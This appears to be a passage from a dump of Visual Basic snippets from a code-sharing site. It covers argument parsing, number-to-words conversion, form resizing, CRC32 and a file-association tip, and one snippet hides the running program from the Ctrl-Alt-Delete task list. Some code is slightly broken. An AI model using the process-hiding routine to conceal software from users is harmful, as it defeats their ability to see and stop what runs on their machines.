Function"},{"WorldId":1,"id":2350,"LineNumber":1,"line":"Const PARAMHEADER = \"/\"\nPublic Function getTokens(CommandLine As String) As Collection\n Dim reminder As String\n Dim col As New Collection\n Dim pos As Integer\n Dim param As String\n Dim paramValue As String\n Dim paramName As String\n \n reminder = CommandLine\n pos = InStr(reminder, \" \")\n Do While pos > 0\n param = Trim(Left(reminder, pos - 1))\n If (Left(param, 1) = PARAMHEADER) Then\n Call AddParamCol(col, paramValue, paramName)\n paramValue = \"\"\n paramName = Mid(param, 2)\n Else\n paramValue = param\n End If\n reminder = Trim(Mid(reminder, pos + 1))\n pos = InStr(reminder, \" \")\n Loop\n paramValue = Trim(reminder)\n Call AddParamCol(col, paramValue, paramName)\n \n Set getTokens = col\nEnd Function\nPrivate Sub AddParamCol(c As Collection, s As String, k As String)\n If k = \"\" Then Exit Sub\n On Error Resume Next\n Call c.Add(s, LCase(k))\nEnd Sub\n'--------------------------------------\nPrivate Sub Form1_Load()\n Dim Args As Collection\n \n Set Args = getTokens(Command)\n On Error Resume Next\n User = Args(\"u\")\n Password = Args(\"p\")\n Domain = Args(\"d\")\n 'Add your variables and actions\nEnd Sub"},{"WorldId":1,"id":5986,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6564,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5340,"LineNumber":1,"line":"Public Function SoundCard() As Boolean\nDim lng As Long\n lng = waveOutGetNumDevs()\n \n If lng > 0 Then\n SoundCard = True\n Exit Function\n Else\n SoundCard = False\n Exit Function\n End If\nEnd Function\nPublic Sub PlayAvi()\nDim strAviPath As String\nDim strCmdStr As String\nDim lngReturnVal As Long\n strAviPath = \"C:\\winnt\\clock.avi\"\n strCmdStr = \"play \" & strAviPath & \" fullscreen \"\n lngReturnVal = mciSendString(strCmdStr, 0&, 0, 0&)\nEnd Sub\n"},{"WorldId":1,"id":2363,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2457,"LineNumber":1,"line":"Private Sub msEncher()\n'strUnidades(0) = ZERO ' deve ser um empty string!\nstrUnidades(1) = UM\nstrUnidades(2) = DOIS\nstrUnidades(3) = TRES\nstrUnidades(4) = QUATRO\nstrUnidades(5) = CINCO\nstrUnidades(6) = SEIS\nstrUnidades(7) = SETE\nstrUnidades(8) = OITO\nstrUnidades(9) = NOVE\n'strTeens(0) = ZERO ' deve ser um empty string!\nstrTeens(1) = UM\nstrTeens(2) = DOIS\nstrTeens(3) = TRES\nstrTeens(4) = QUATRO\nstrTeens(5) = CINCO\nstrTeens(6) = SEIS\nstrTeens(7) = SETE\nstrTeens(8) = OITO\nstrTeens(9) = NOVE\nstrTeens(10) = DEZ\nstrTeens(11) = ONZE\nstrTeens(12) = DOZE\nstrTeens(13) = TREZE\nstrTeens(14) = CATORZE\nstrTeens(15) = QUINZE\nstrTeens(16) = DEZASSEIS\nstrTeens(17) = DEZASSETE\nstrTeens(18) = DEZOITO\nstrTeens(19) = DEZANOVE\nstrDezenas(0) = \"\"\nstrDezenas(1) = \"-\"\nstrDezenas(2) = VINTE\nstrDezenas(3) = TRINTA\nstrDezenas(4) = QUARENTA\nstrDezenas(5) = CINQUENTA\nstrDezenas(6) = SESSENTA\nstrDezenas(7) = SETENTA\nstrDezenas(8) = OITENTA\nstrDezenas(9) = NOVENTA\nstrCentenas(0) = \"\"\nstrCentenas(1) = CEM\nstrCentenas(2) = DUZENTOS\nstrCentenas(3) = TREZENTOS\nstrCentenas(4) = QUATROCENTOS\nstrCentenas(5) = QUINHENTOS\nstrCentenas(6) = SEISCENTOS\nstrCentenas(7) = SETECENTOS\nstrCentenas(8) = OITOCENTOS\nstrCentenas(9) = NOVECENTOS\n\nEnd Sub\nPrivate Function mfTraduzir(xGrupo%, xstr$) As String\n'traduz um grupo de 3 algarismos\n'(right pad)\nOn Error GoTo erro\nDim blnAnteriorRedondo As Boolean 'quando grupo anterior = '*00'\nDim ret$, xlen%\nxlen = Len(xstr$)\nDim Unid As Byte, strUnid$\nDim Teen As Byte, strTeen$\nDim Dezena As Byte, strDezn$\nDim Centena As Byte, strCent$\n Unid = CByte(Right(xstr$, 1))\n Teen = CByte(Right(xstr$, 2))\n Dezena = CByte(Mid(xstr$, xlen - 1, 1))\n Centena = CByte(Mid(xstr$, xlen - 2, 1))\nIf Centena Then\nstrCent = IIf(Teen = 0, strCentenas(Centena), _\n IIf(Centena = 1, CENTO, strCentenas(Centena)) & _\n IIf(Teen = 0, \"\", E)) & \" \"\nEnd If\nstrDezn = IIf(Teen > 19, strDezenas(Dezena), strTeens(Teen)) & _\n IIf(Unid And Teen > 19, E, \"\")\nstrUnid = IIf(Teen > 19, strUnidades(Unid), \"\")\nret = strCent & strDezn & strUnid\n Dim strNumAnterior$, strExtAnterior$\n \n On Error Resume Next\n strNumAnterior = arrGrupo(0, xGrupo - 1) 'grupo anterior\n strExtAnterior = arrGrupo(1, xGrupo - 1)\n blnAnteriorRedondo = Val(Right(strNumAnterior, 2)) = 0\n On Error GoTo erro\n \n Select Case xGrupo\n Case 0 ' 000\n \n Case 1 'mil ' 000xxx\n \n arrGrupo(1, xGrupo - 1) = _\n IIf(blnAnteriorRedondo, _\n IIf(Val(strNumAnterior) = 0, \"\", E) & strExtAnterior, _\n E & strExtAnterior)\n \n ret = IIf(Val(xstr) = 0, \"\", _\n IIf(Val(xstr) = 1, MIL, ret & MIL))\n \n Case 2 'milh├úo ' 000xxxxxx\n arrGrupo(1, xGrupo - 1) = _\n IIf(Val(strNumAnterior) = 0 And Val(arrGrupo(0, xGrupo - 2)) = 0, _\n \"\", IIf(Val(strNumAnterior) > 0, IIf(Val(arrGrupo(0, xGrupo - 2)) = 0, _\n E, Virgula), \"\") & strExtAnterior)\n ret = IIf(Val(xstr) = 0, \"\", _\n IIf(Val(xstr) = 1, ret & MILHAO, ret & MILHOES))\n Case 3 'bili├úo ' 000xxxxxxxxx\n arrGrupo(1, xGrupo - 1) = _\n IIf(Val(strNumAnterior) = 0 And Val(arrGrupo(0, xGrupo - 2)) = 0 _\n And Val(arrGrupo(0, xGrupo - 3)) = 0, _\n \"\", IIf(Val(strNumAnterior) = 0, \"\", _\n IIf(Val(arrGrupo(0, xGrupo - 2)) = 0, E, Virgula)) & strExtAnterior)\n \n ret = IIf(Val(xstr) = 0, \"\", _\n IIf(Val(xstr) = 1, ret & BILIAO, ret & BILIOES))\n End Select\nmfTraduzir = Trim(ret) & \" \"\nExit Function\nerro:\n If Err = 5 Then\n Resume Next\n Else\n MsgBox Err & vbCrLf & Err.Description\n Resume Next\n End If\nEnd Function\nPrivate Sub Class_Initialize()\nmsEncher\nmstrDecSep = mfstrGetDecimalSep\nmstrDefaultErrorMsgOverflow = ERR_OVERF\nmstrDefaultSufixoInteiro1 = SUF_INT1\nmstrDefaultSufixoDecimal1 = SUF_DEC1\nmstrDefaultSufixoInteiro2 = SUF_INT2\nmstrDefaultSufixoDecimal2 = SUF_DEC2\nEnd Sub\n\nPublic Function gfGet( _\n ByVal dblX As Double, _\n Optional ByVal lngFormat As Long = PrimeiraMaiuscula) As String\nOn Error GoTo erro\nIf dblX > MAX_NUMBER Then\n gfGet = mstrDefaultErrorMsgOverflow\n Exit Function\nEnd If\ndblX = Format(dblX, \".00\")\nDim strInteiro$, strDecimal$\n msGetParts CStr(dblX), strInteiro, strDecimal\n Dim ret$, retInt$, retDec$\n If strInteiro <> \"\" Then\n If CDbl(strInteiro) > 0 Then\n retInt = mfstrProcessar(strInteiro)\n Else\n retInt = ZERO\n End If\n retInt = retInt & IIf(CDbl(strInteiro) = 1, mstrDefaultSufixoInteiro1, mstrDefaultSufixoInteiro2)\n End If\n \n If strDecimal <> \"\" Then\n If CDbl(strInteiro) = 0 Then\n retInt = \"\"\n Else\n retInt = retInt & E\n End If\n retDec = mfstrProcessar(strDecimal)\n retDec = retDec & IIf(CDbl(strDecimal) = 1, mstrDefaultSufixoDecimal1, mstrDefaultSufixoDecimal2)\n End If\n \n \n ret = retInt & retDec\n \n gfGet = IIf(lngFormat = Minusculas, LCase(ret), _\n IIf(lngFormat = Maiusculas, UCase(ret), _\n ret))\n \nExit Function\nerro:\n gfGet = Err.Number & \"; \" & Err.Description\nEnd Function\nPublic Property Get VersionInfo() As String\nDim ret$\nret = \"N├║meros Por Extenso\" & vbCrLf & _\n\"Vers├úo \" & App.Major & \".\" & _\nFormat(App.Minor, \"00\") & \".\" & _\nFormat(App.Revision, \"00\") & vbCrLf & vbCrLf & _\n\"Pedro Vieira, [Bil├│gica, Lda]\" & vbCrLf & vbCrLf & _\n\"bfe03116@mail.telepac.pt\" & vbCrLf & _\n\"bilogica@mail.telepac.pt\" & vbCrLf & vbCrLf & _\n\"Novembro de 1998\"\nVersionInfo = ret\nEnd Property\n\nPrivate Sub msGetParts(ByVal strAll$, ByRef strInt$, ByRef strDec$)\n Dim intVirgLoc%\n intVirgLoc = InStr(1, strAll, mstrDecSep)\n \n If intVirgLoc > 0 Then\n strInt = Mid(strAll, 1, intVirgLoc% - 1)\n strDec = Mid(strAll, intVirgLoc% + 1)\n If Len(strDec) = 1 Then strDec = strDec & \"0\"\n Else\n strInt = strAll$\n strDec = \"\"\n End If\n \nEnd Sub\nPrivate Function mfstrProcessar(strPart$) As String\nDim lp%, xlen%, cnt%, ret$, buf$\nDim xstart%\nxlen = Len(strPart$)\n For lp = 1 To xlen Step 3\n \n 'enviar o n├║mero em grupos de 3 algarismos\n xstart = xlen - (3 * cnt)\n xstart = IIf(xstart <= 0, 1, xstart)\n buf = Right(Left(strPart$, xstart), 3)\n ReDim Preserve arrGrupo(1, cnt)\n arrGrupo(0, cnt) = CDbl(buf)\n arrGrupo(1, cnt) = mfTraduzir(cnt, Format(buf, \"000\"))\n cnt = cnt + 1\n Next\n \n 'obter a frase juntando os grupos traduzidos\n Dim xtemp As String\n For lp = UBound(arrGrupo, 2) To 0 Step -1\n xtemp = xtemp & arrGrupo(1, lp)\n Next\n \n 'retirar espa├ºos redundantes\n Dim red1$, inred1%, red2$, inred2%\n Dim tempA$, tempB$\n inred1 = 999: inred2 = 999\n red1 = \" \": red2 = \" ,\"\n\n Do Until inred1 + inred2 = 0\n inred1 = InStr(1, xtemp, red1)\n inred2 = InStr(1, xtemp, red2)\n If inred1 > 0 Then\n xtemp = Trim(Left(xtemp, inred1) & Right(xtemp, Len(xtemp) - (inred1 + 1)))\n End If\n If inred2 > 0 Then Mid(xtemp, inred2, 2) = \", \"\n Loop\n ret = xtemp & IIf(Right(xtemp, 1) <> \" \", \" \", \"\")\n mfstrProcessar = ret\nEnd Function\nPrivate Function mfstrGetDecimalSep() As String\nDim ret&\nDim buf As String * 10\nret = GetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_SDECIMAL, buf, Len(buf))\nmfstrGetDecimalSep = Left(buf, InStr(1, buf, vbNullChar) - 1)\nEnd Function\n\n' ////////////// PROPS /////////////////////\nPublic Property Get DecimalSep() As String\n DecimalSep = mstrDecSep\nEnd Property\nPublic Property Let DecimalSep(x As String)\n mstrDecSep = x\nEnd Property\nPublic Property Get OverflowMsg() As String\n OverflowMsg = mstrDefaultErrorMsgOverflow\nEnd Property\nPublic Property Let OverflowMsg(x As String)\n mstrDefaultErrorMsgOverflow = x\nEnd Property\nPublic Property Get MaxNumber() As Double\n MaxNumber = MAX_NUMBER\nEnd Property\nPublic Property Get SufixoInteiroSingular() As String\n SufixoInteiroSingular = mstrDefaultSufixoInteiro1\nEnd Property\nPublic Property Let SufixoInteiroSingular(x As String)\n mstrDefaultSufixoInteiro1 = x & IIf(Right(x, 1) = \"\", \"\", \" \")\nEnd Property\nPublic Property Get SufixoInteiroPlural() As String\n SufixoInteiroPlural = mstrDefaultSufixoInteiro2\nEnd Property\nPublic Property Let SufixoInteiroPlural(x As String)\n mstrDefaultSufixoInteiro2 = x & IIf(Right(x, 1) = \"\", \"\", \" \")\nEnd Property\nPublic Property Get SufixoDecimalSingular() As String\n SufixoDecimalSingular = mstrDefaultSufixoDecimal1\nEnd Property\nPublic Property Let SufixoDecimalSingular(x As String)\n mstrDefaultSufixoDecimal1 = x & IIf(Right(x, 1) = \"\", \"\", \" \")\nEnd Property\nPublic Property Get SufixoDecimalPlural() As String\n SufixoDecimalPlural = mstrDefaultSufixoDecimal2\nEnd Property\nPublic Property Let SufixoDecimalPlural(x As String)\n mstrDefaultSufixoDecimal2 = x & IIf(Right(x, 1) = \"\", \"\", \" \")\nEnd Property\n"},{"WorldId":1,"id":3546,"LineNumber":1,"line":"PLACE THE FOLLOWING CODE INTO A MODULE:\n\nPublic Function IsScreenFontSmall() As Boolean\nDim hWndDesk As Long\nDim hDCDesk As Long\nDim logPix As Long\nDim r As Long\nhWndDesk = GetDesktopWindow()\nhDCDesk = GetDC(hWndDesk)\nlogPix = GetDeviceCaps(hDCDesk, LOGPIXELSX)\nr = ReleaseDC(hWndDesk, hDCDesk)\nIf logPix = 96 Then IsScreenFontSmall = True\nExit Function\nEnd Function\n--------------------------------------------------------\nSub ResizeControls(frmName As Form, winstate As Integer)\nOn Error Resume Next\nDim designwidth As Integer, designheight As Integer, designfontsize As Integer, currentfontsize As Integer\nDim numofcontrols As Integer, a As Integer\nDim movetype As String, moveamount As Integer\n'Change the designwidth and the designheight according to the resolution that the form was designed at\ndesignwidth = 1024\ndesignheight = 768\ndesignfontsize = 96\nGetResolutionX = Screen.Width / Screen.TwipsPerPixelX\nGetResolutionY = Screen.Height / Screen.TwipsPerPixelY\n'Work out the ratio for resizing the controls\nratiox = GetResolutionX / designwidth\nratioy = GetResolutionY / designheight\n'check to see what size of fonts are being used\nIf IsScreenFontSmall Then\n currentfontsize = 96\nElse\n currentfontsize = 120\nEnd If\n'work out the ratio for the fontsize\nfontratio = designfontsize / currentfontsize\nIf ratiox = 1 And ratioy = 1 And fontratio = 1 Then Exit Sub\nnumofcontrols = frmName.Controls.Count - 1 'count the number of controls on the form\n\nIf winstate = 0 Then 'if the form isn't fullscreen then\n frmName.Height = frmName.Height * ratioy\n frmName.Width = frmName.Width * ratiox\n If frmName.Tag <> \"\" Then\n movetype = Left(frmName.Tag, 1)\n moveamount = Mid(frmName.Tag, 2, Len(frmName.Tag))\n Select Case movetype\n Case \"L\"\n frmName.Left = frmName.Left + moveamount\n Case \"T\"\n frmName.Top = frmName.Top + moveamount\n Case \"H\"\n frmName.Height = frmName.Height + moveamount\n Case \"W\"\n frmName.Width = frmName.Width + moveamount\n End Select\n End If\nElseIf winstate = 2 Then 'otherwise if it is fullscreen then\n frmName.Width = Screen.Width\n frmName.Height = Screen.Height\n frmName.Top = 0\n frmName.Left = 0\nEnd If\nFor a = 0 To numofcontrols 'loop through each control\n If frmName.Controls(a).Font.Size <= 8 And ratiox < 1 Then\n frmName.Controls(a).Font.Name = \"Small Fonts\"\n frmName.Controls(a).Font.Size = frmName.Controls(a).Font.Size - 0.5\n Else\n frmName.Controls(a).Font.Size = frmName.Controls(a).Font.Size * ratiox\n End If\n If TypeOf frmName.Controls(a) Is Line Then\n frmName.Controls(a).X1 = frmName.Controls(a).X1 * ratiox\n frmName.Controls(a).Y1 = frmName.Controls(a).Y1 * ratioy\n frmName.Controls(a).X2 = frmName.Controls(a).X2 * ratiox\n frmName.Controls(a).Y2 = frmName.Controls(a).Y2 * ratioy\n \n ElseIf TypeOf frmName.Controls(a) Is PictureBox Then\n frmName.Controls(a).Width = frmName.Controls(a).Width * ratiox\n frmName.Controls(a).Height = frmName.Controls(a).Height * ratioy\n frmName.Controls(a).Top = frmName.Controls(a).Top * ratioy\n frmName.Controls(a).Left = frmName.Controls(a).Left * ratiox\n frmName.Controls(a).ScaleHeight = frmName.Controls(a).ScaleHeight * ratioy\n frmName.Controls(a).ScaleWidth = frmName.Controls(a).ScaleWidth * ratiox\n ElseIf TypeOf frmName.Controls(a) Is Toolbar Then\n frmName.Controls(a).ButtonHeight = frmName.Controls(a).ButtonHeight * ratioy\n frmName.Controls(a).ButtonWidth = frmName.Controls(a).ButtonWidth * ratiox\n frmName.Controls(a).Width = frmName.Controls(a).Width * ratiox\n frmName.Controls(a).Height = frmName.Controls(a).Height * ratioy\n frmName.Controls(a).Top = frmName.Controls(a).Top * ratioy\n frmName.Controls(a).Left = frmName.Controls(a).Left * ratiox\n ElseIf TypeOf frmName.Controls(a) Is MSFlexGrid Then\n frmName.Controls(a).ColWidth = frmName.Controls(a).ColWidth * ratiox\n frmName.Controls(a).RowHeight = frmName.Controls(a).RowHeight * ratioy\n frmName.Controls(a).Width = frmName.Controls(a).Width * ratiox\n frmName.Controls(a).Height = frmName.Controls(a).Height * ratioy\n frmName.Controls(a).Top = frmName.Controls(a).Top * ratioy\n frmName.Controls(a).Left = frmName.Controls(a).Left * ratiox\n Else\n frmName.Controls(a).Width = frmName.Controls(a).Width * ratiox\n frmName.Controls(a).Height = frmName.Controls(a).Height * ratioy\n frmName.Controls(a).Top = frmName.Controls(a).Top * ratioy\n frmName.Controls(a).Left = frmName.Controls(a).Left * ratiox\n End If\n If frmName.Controls(a).Tag <> \"\" Then\n movetype = Left(frmName.Controls(a).Tag, 1)\n moveamount = Mid(frmName.Controls(a).Tag, 2, Len(frmName.Controls(a).Tag))\n Select Case movetype\n Case \"L\"\n frmName.Controls(a).Left = frmName.Controls(a).Left + moveamount\n Case \"T\"\n frmName.Controls(a).Top = frmName.Controls(a).Top + moveamount\n Case \"H\"\n frmName.Controls(a).Height = frmName.Controls(a).Height + moveamount\n Case \"W\"\n frmName.Controls(a).Width = frmName.Controls(a).Width + moveamount\n End Select\n End If\nNext a\nIf fontratio <> 1 Then\n If winstate = 0 Then\n frmName.Height = frmName.Height * fontratio\n frmName.Width = frmName.Width * fontratio\n If frmName.Tag <> \"\" Then\n movetype = Left(frmName.Tag, 1)\n moveamount = Mid(frmName.Tag, 2, Len(frmName.Tag))\n Select Case movetype\n Case \"L\"\n frmName.Left = frmName.Left + moveamount\n Case \"T\"\n frmName.Top = frmName.Top + moveamount\n Case \"H\"\n frmName.Height = frmName.Height + moveamount\n Case \"W\"\n frmName.Width = frmName.Width + moveamount\n End Select\n End If\n ElseIf winstate = 2 Then\n frmName.Width = Screen.Width\n frmName.Height = Screen.Height\n frmName.Top = 0\n frmName.Left = 0\n End If\n For a = 0 To numofcontrols\n If frmName.Controls(a).Font.Size <= 8 And fontratio < 1 Then\n frmName.Controls(a).Font.Name = \"Small Fonts\"\n frmName.Controls(a).Font.Size = frmName.Controls(a).Font.Size - 0.5\n Else\n frmName.Controls(a).Font.Size = frmName.Controls(a).Font.Size * fontratio\n End If\n If TypeOf frmName.Controls(a) Is Line Then\n frmName.Controls(a).X1 = frmName.Controls(a).X1 * fontratio\n frmName.Controls(a).Y1 = frmName.Controls(a).Y1 * fontratio\n frmName.Controls(a).X2 = frmName.Controls(a).X2 * fontratio\n frmName.Controls(a).Y2 = frmName.Controls(a).Y2 * fontratio\n \n ElseIf TypeOf frmName.Controls(a) Is PictureBox Then\n frmName.Controls(a).Width = frmName.Controls(a).Width * fontratio\n frmName.Controls(a).Height = frmName.Controls(a).Height * fontratio\n frmName.Controls(a).Top = frmName.Controls(a).Top * fontratio\n frmName.Controls(a).Left = frmName.Controls(a).Left * fontratio\n frmName.Controls(a).ScaleHeight = frmName.Controls(a).ScaleHeight * fontratio\n frmName.Controls(a).ScaleWidth = frmName.Controls(a).ScaleWidth * fontratio\n ElseIf TypeOf frmName.Controls(a) Is Toolbar Then\n frmName.Controls(a).ButtonHeight = frmName.Controls(a).ButtonHeight * fontratio\n frmName.Controls(a).ButtonWidth = frmName.Controls(a).ButtonWidth * fontratio\n frmName.Controls(a).Width = frmName.Controls(a).Width * fontratio\n frmName.Controls(a).Height = frmName.Controls(a).Height * fontratio\n frmName.Controls(a).Top = frmName.Controls(a).Top * fontratio\n frmName.Controls(a).Left = frmName.Controls(a).Left * fontratio\n ElseIf TypeOf frmName.Controls(a) Is MSFlexGrid Then\n frmName.Controls(a).ColWidth = frmName.Controls(a).ColWidth * fontratio\n frmName.Controls(a).RowHeight = frmName.Controls(a).RowHeight * fontratio\n frmName.Controls(a).Width = frmName.Controls(a).Width * fontratio\n frmName.Controls(a).Height = frmName.Controls(a).Height * fontratio\n frmName.Controls(a).Top = frmName.Controls(a).Top * fontratio\n frmName.Controls(a).Left = frmName.Controls(a).Left * fontratio\n Else\n frmName.Controls(a).Width = frmName.Controls(a).Width * fontratio\n frmName.Controls(a).Height = frmName.Controls(a).Height * fontratio\n frmName.Controls(a).Top = frmName.Controls(a).Top * fontratio\n frmName.Controls(a).Left = frmName.Controls(a).Left * fontratio\n End If\n Next a\nEnd If\nEnd Sub\nPLACE THE FOLLOWING CODE INTO THE FORM_LOAD EVENT OF THE FORM:\nResizeControls Me, x (replace the x with a 2 for a fullscreen form or a 0 for any other size of form.)\n"},{"WorldId":1,"id":2369,"LineNumber":1,"line":"'Place the following line in the Form_Load procedure of the form\nAutoResize Me, 2 'put a 2 for a full screen form or a 0 for any other form\n'Place the following in a module\nSub AutoResize(frmName As Form, winstate As Integer)\nDim designwidth As Integer, designheight As Integer, designfontsize As Integer, currentfontsize As Integer\nDim ratiox As Single, ratioy As Single, numofcontrols As Integer, a As Integer\nDim fontratio As Single\n'Change the designwidth and the designheight according to the resolution that the form was designed at\ndesignwidth = 1024\ndesignheight = 768\ndesignfontsize = 96\n'Get the current resolution\nresx = Screen.Width / Screen.TwipsPerPixelX\nresy = Screen.Height / Screen.TwipsPerPixelY\n'Work out the ratio for resizing the controls\nratiox = resx / designwidth\nratioy = resy / designheight\n'check to see what size of fonts are being used\nIf IsScreenFontSmall Then\n currentfontsize = 96\nElse\n currentfontsize = 120\nEnd If\n'work out the ratio for the fontsize\nfontratio = currentfontsize / designfontsize\nIf ratiox = 1 And ratioy = 1 And fontratio = 1 Then Exit Sub\nnumofcontrols = frmName.Controls.Count - 1\nFor a = 0 To numofcontrols\n If TypeOf frmName.Controls(a) Is CommandButton Then\n frmName.Controls(a).Width = frmName.Controls(a).Width * ratiox\n frmName.Controls(a).Height = frmName.Controls(a).Height * ratioy\n frmName.Controls(a).Top = frmName.Controls(a).Top * ratioy\n frmName.Controls(a).Left = frmName.Controls(a).Left * ratiox\n frmName.Controls(a).FontSize = frmName.Controls(a).FontSize * ratiox\n ElseIf TypeOf frmName.Controls(a) Is Timer Then\n Else\n frmName.Controls(a).Width = frmName.Controls(a).Width * ratiox\n frmName.Controls(a).Height = frmName.Controls(a).Height * ratioy\n frmName.Controls(a).Top = frmName.Controls(a).Top * ratioy\n frmName.Controls(a).Left = frmName.Controls(a).Left * ratiox\n End If\nNext a\nIf fontratio <> 1 Then\n For a = 0 To numofcontrols\n If TypeOf frmName.Controls(a) Is CommandButton Then\n frmName.Controls(a).Width = frmName.Controls(a).Width * fontratio\n frmName.Controls(a).Height = frmName.Controls(a).Height * fontratio\n frmName.Controls(a).Top = frmName.Controls(a).Top * fontratio\n frmName.Controls(a).Left = frmName.Controls(a).Left * fontratio\n frmName.Controls(a).FontSize = frmName.Controls(a).FontSize * fontratio\n ElseIf TypeOf frmName.Controls(a) Is Timer Then\n Else\n frmName.Controls(a).Width = frmName.Controls(a).Width * fontratio\n frmName.Controls(a).Height = frmName.Controls(a).Height * fontratio\n frmName.Controls(a).Top = frmName.Controls(a).Top * fontratio\n frmName.Controls(a).Left = frmName.Controls(a).Left * fontratio\n End If\n Next a\nEnd If\nIf winstate = 0 Then\n frmName.Height = frmName.Height * ratioy\n frmName.Width = frmName.Width * ratiox\nElseIf winstate = 2 Then\n frmName.Width = Screen.Width\n frmName.Height = Screen.Height\n frmName.Top = 0\n frmName.Left = 0\nEnd If\nEnd Sub\n\nPublic Function IsScreenFontSmall() As Boolean\nDim hWndDesk As Long\nDim hDCDesk As Long\nDim logPix As Long\nDim r As Long\nhWndDesk = GetDesktopWindow()\nhDCDesk = GetDC(hWndDesk)\nlogPix = GetDeviceCaps(hDCDesk, LOGPIXELSX)\nr = ReleaseDC(hWndDesk, hDCDesk)\nIf logPix = 96 Then IsScreenFontSmall = True\nEnd Function\n"},{"WorldId":1,"id":8777,"LineNumber":1,"line":"Ever noticed that if you open a vb project containing a long file name from explorer by double clicking it shortens the filename to 'PROJEC~1' instead of 'Project Number 1'? But if you open the same project while inside VB (Project open dialog) it uses the long name.\nI experimented and found a quick fix.\n1. From Explorer choose View => Folder Options\n2. Select the tab 'File Types'\n3. Scroll through the list and highlight 'Visual Basic Project' then press the Edit button.\n4. Highlight 'Open' then press the Edit button.\n5. Change the 'Application used to preform this action \n from C:\\Program Files\\DevStudio\\VB\\vb5.exe \"%1\"\n to \"C:\\Program Files\\DevStudio\\VB\\vb5.exe\" \"%1\"\n NOTE: the only change is adding double quotes around the VB5.exe specification.\n6. Save the changes.\nYou can repeat this for the other items in both the actions list and the registered applications list.\nIf any one can give me a reasonable explanation as to why this works, I would sure appreciate it. Interesting that if you try to make changes without adding the quotes, Your told that it is invalid and cannot save it."},{"WorldId":1,"id":2374,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2393,"LineNumber":1,"line":"' ----Api Declares for this code\nPublic Declare Function GetCurrentProcessId Lib \"kernel32\" () As Long\nPublic Declare Function RegisterServiceProcess Lib \"kernel32\" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long\n' ----Public Declares for this code\nPublic Const RSP_SIMPLE_SERVICE = 1\nPublic Const RSP_UNREGISTER_SERVICE = 0\n\n' ----What makes it invisible/visible in Ctrl-alt-delete\n' Note: That if you run this program from your development \n' enviorment(VB) you will not see your development \n' enviorment(VB) or your programs name in the \n' Ctrl-Alt-Delete Dialog. \n' From AciD email Me at Buckwheat9@juno.com\nPublic Sub Hide_Program_In_CTRL_ALT_Delete()\nDim pid As Long\nDim reserv As Long\npid = GetCurrentProcessId()\nregserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)\nEnd Sub\nPublic Sub Show_Program_In_CTRL_ALT_DELETE()\nDim pid As Long\nDim reserv As Long\npid = GetCurrentProcessId()\nregserv = RegisterServiceProcess(pid, RSP_UNREGISTER_SERVICE)\nEnd Sub"},{"WorldId":1,"id":4822,"LineNumber":1,"line":"ption Explicit\nOption Compare Text\n'// Then declare this array variable Crc32Table\nPrivate Crc32Table(255) As Long\n'// Then all we have to do is writing public functions like these...\nPublic Function InitCrc32(Optional ByVal Seed As Long = &HEDB88320, Optional ByVal Precondition As Long = &HFFFFFFFF) As Long\n '// Declare counter variable iBytes, counter variable iBits, value variables lCrc32 and lTempCrc32\n Dim iBytes As Integer, iBits As Integer, lCrc32 As Long, lTempCrc32 As Long\n '// Turn on error trapping\n On Error Resume Next\n '// Iterate 256 times\n For iBytes = 0 To 255\n '// Initiate lCrc32 to counter variable\n lCrc32 = iBytes\n '// Now iterate through each bit in counter byte\n For iBits = 0 To 7\n '// Right shift unsigned long 1 bit\n lTempCrc32 = lCrc32 And &HFFFFFFFE\n lTempCrc32 = lTempCrc32 \\ &H2\n lTempCrc32 = lTempCrc32 And &H7FFFFFFF\n '// Now check if temporary is less than zero and then mix Crc32 checksum with Seed value\n If (lCrc32 And &H1) <> 0 Then\n lCrc32 = lTempCrc32 Xor Seed\n Else\n lCrc32 = lTempCrc32\n End If\n Next\n '// Put Crc32 checksum value in the holding array\n Crc32Table(iBytes) = lCrc32\n Next\n '// After this is done, set function value to the precondition value\n InitCrc32 = Precondition\nEnd Function\n'// The function above is the initializing function, now we have to write the computation function\nPublic Function AddCrc32(ByVal Item As String, ByVal Crc32 As Long) As Long\n '// Declare following variables\n Dim bCharValue As Byte, iCounter As Integer, lIndex As Long\n Dim lAccValue As Long, lTableValue As Long\n '// Turn on error trapping\n On Error Resume Next\n '// Iterate through the string that is to be checksum-computed\n For iCounter = 1 To Len(Item)\n '// Get ASCII value for the current character\n bCharValue = Asc(Mid$(Item, iCounter, 1))\n '// Right shift an Unsigned Long 8 bits\n lAccValue = Crc32 And &HFFFFFF00\n lAccValue = lAccValue \\ &H100\n lAccValue = lAccValue And &HFFFFFF\n '// Now select the right adding value from the holding table\n lIndex = Crc32 And &HFF\n lIndex = lIndex Xor bCharValue\n lTableValue = Crc32Table(lIndex)\n '// Then mix new Crc32 value with previous accumulated Crc32 value\n Crc32 = lAccValue Xor lTableValue\n Next\n '// Set function value the the new Crc32 checksum\n AddCrc32 = Crc32\nEnd Function\n'// At last, we have to write a function so that we can get the Crc32 checksum value at any time\nPublic Function GetCrc32(ByVal Crc32 As Long) As Long\n '// Turn on error trapping\n On Error Resume Next\n '// Set function to the current Crc32 value\n GetCrc32 = Crc32 Xor &HFFFFFFFF\nEnd Function\n'// To Test the Routines Above...\nPublic Sub Main()\n Dim lCrc32Value As Long\n On Error Resume Next\n lCrc32Value = InitCrc32()\n lCrc32Value = AddCrc32(\"This is the original message!\", lCrc32Value)\n Debug.Print Hex$(GetCrc32(lCrc32Value))\nEnd Sub\n'// This is the command that you would use to compute your own string\nPublic Function Compute(ToGet as string)as String\n Dim lCrc32Value As Long\n On Error Resume Next\n lCrc32Value = InitCrc32()\n lCrc32Value = AddCrc32(ToGet, lCrc32Value)\n Compute = Hex$(GetCrc32(lCrc32Value))\nEnd Sub"},{"WorldId":1,"id":4823,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4468,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9482,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6359,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2394,"LineNumber":1,"line":"app.taskvisible = 